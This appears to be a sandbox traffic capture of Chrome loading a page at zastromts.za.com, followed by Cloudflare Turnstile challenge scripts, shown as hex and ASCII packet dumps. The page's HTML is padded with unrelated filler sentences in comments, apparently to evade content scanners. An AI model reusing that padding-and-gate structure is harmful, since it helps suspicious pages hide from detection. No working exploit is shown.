2024-10-30 15:25:20 UTC	355	IN	Data Raw: 38 39 66 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e e2 81 a4 3c 2f 74 69 74 6c 65 3e 0a 09 3c 21 2d 2d 20 3c 70 3e 54 68 65 72 65 e2 80 99 73 20 61 20 6c 6f 74 20 6f 66 20 73 74 72 65 73 73 2e 2e 2e 20 62 75 74 20 6f 6e 63 65 20 79 6f 75 20 67 65 74 20 69 6e 20 74 68 65 20 63 61 72 2c 3c 2f 70 3e 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 Data Ascii: 89f<html lang="en"><head><title></title>... <p>Theres a lot of stress... but once you get in the car,</p> --><meta charset="UTF-8"><meta name="robots" content="noindex, nofollow"><meta name="viewport" content="width=device-width, initi
2024-10-30 15:25:20 UTC	1369	IN	Data Raw: 46 69 74 6e 65 73 73 20 69 6d 70 72 6f 76 65 73 20 63 61 72 64 69 6f 76 61 73 63 75 6c 61 72 20 68 65 61 6c 74 68 3a 20 49 74 20 73 74 72 65 6e 67 74 68 65 6e 73 20 74 68 65 20 68 65 61 72 74 20 61 6e 64 20 6c 75 6e 67 73 2e 20 2d 2d 3e 0a 09 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 63 65 6e 74 65 72 65 64 2d 63 6f 6e 74 65 6e 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 7d 2e 66 73 2d 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e Data Ascii: Fitness improves cardiovascular health: It strengthens the heart and lungs. --><style>body{font-family:Arial,sans-serif}.container{margin-top:50px;display:flex;justify-content:center}.centered-content{text-align:center;max-width:500px}.fs-5{font-size:1.
2024-10-30 15:25:20 UTC	490	IN	Data Raw: 72 65 73 20 72 65 6c 69 61 62 69 6c 69 74 79 2e 3c 2f 70 3e 20 2d 2d 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 3c 73 70 61 6e 3e 43 6f 6e 73 75 6d 69 6e 67 20 66 72 75 69 74 73 20 69 6d 70 72 6f 76 65 73 20 73 6b 69 6e 20 68 65 61 6c 74 68 20 77 69 74 68 20 76 69 74 61 6d 69 6e 73 20 61 6e 64 20 61 6e 74 69 6f 78 69 64 61 6e 74 73 3a 20 46 72 75 69 74 73 20 6e 6f 75 72 69 73 68 20 61 6e 64 20 70 72 6f 74 65 63 74 20 6f 75 72 20 73 6b 69 6e 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 21 2d 2d 20 3c 73 70 61 6e 3e 49 74 e2 80 99 73 20 61 20 6e 65 76 65 72 2d 65 6e 64 69 6e 67 20 62 61 74 74 6c 65 20 6f 66 20 6d 61 6b 69 6e 67 20 79 6f 75 72 20 63 61 72 73 20 62 65 74 Data Ascii: res reliability.</p> --></div></div>... <span>Consuming fruits improves skin health with vitamins and antioxidants: Fruits nourish and protect our skin.</span> --></div></div>... <span>Its a never-ending battle of making your cars bet
2024-10-30 15:25:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49703	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:20 UTC	544	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:20 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 30 Oct 2024 15:25:20 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f2bbd6738e15/api.js Server: cloudflare CF-RAY: 8dac6add8ddd47ff-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49704	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:21 UTC	559	OUT	GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:21 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47532 Connection: close accept-ranges: bytes last-modified: Fri, 18 Oct 2024 17:38:58 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8dac6ae24e4b7d60-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:21 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 70 3d 65 5b 6c 5d 28 68 29 2c 66 3d 70 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 70 2e 64 6f 6e 65 3f 72 28 66 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 66 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var p=e[l](h),f=p.value}catch(s){n(s);return}p.done?r(f):Promise.resolve(f).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 51 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 Data Ascii: e","false"],e)}function gt(e){return L(["render","execute"],e)}var Qt=300,$t=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOver
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 73 29 7d 76 61 72 20 54 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 70 2c Data Ascii: age,"/").concat(s)}var Tt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),p,
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 70 3d 5b 6e 75 6c 6c 5d 3b 70 2e 70 75 73 68 2e 61 70 70 6c 79 28 70 2c 6c 29 3b 76 61 72 20 66 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 70 29 2c 73 3d 6e 65 77 20 66 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 Data Ascii: ect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var p=[null];p.push.apply(p,l);var f=Function.bind.apply(c,p),s=new f;return h&&J(s,h.prototype),s},Ie.apply(null,argument
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 67 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 Data Ascii: tion g(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}func
2024-10-30 15:25:21 UTC	1369	IN	Data Raw: 6f 70 3d 22 30 22 2c 70 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 70 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 70 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 70 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 70 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 66 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 66 2e 73 74 79 6c Data Ascii: op="0",p.style.left="0",p.style.transformOrigin="center center",p.style.overflowX="hidden",p.style.overflowY="auto",p.style.background="rgba(0,0,0,0.4)";var f=document.createElement("div");f.style.display="table-cell",f.style.verticalAlign="middle",f.styl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49706	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:22 UTC	799	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:22 UTC	1368	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26772 Connection: close permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin cross-origin-resource-policy: cross-origin cross-origin-embedder-policy: require-corp origin-agent-cluster: ?1 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 document-policy: js-profiling cross-origin-opener-policy: same-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2024-10-30 15:25:22 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 61 63 36 61 65 38 64 65 38 36 34 36 65 33 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8dac6ae8de8646e3-DFWalt-svc: h3=":443"; ma=86400
2024-10-30 15:25:22 UTC	1288	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 Data Ascii: den;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:anti
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b Data Ascii: line{stroke:#038127;animation:firework .3s ease-out 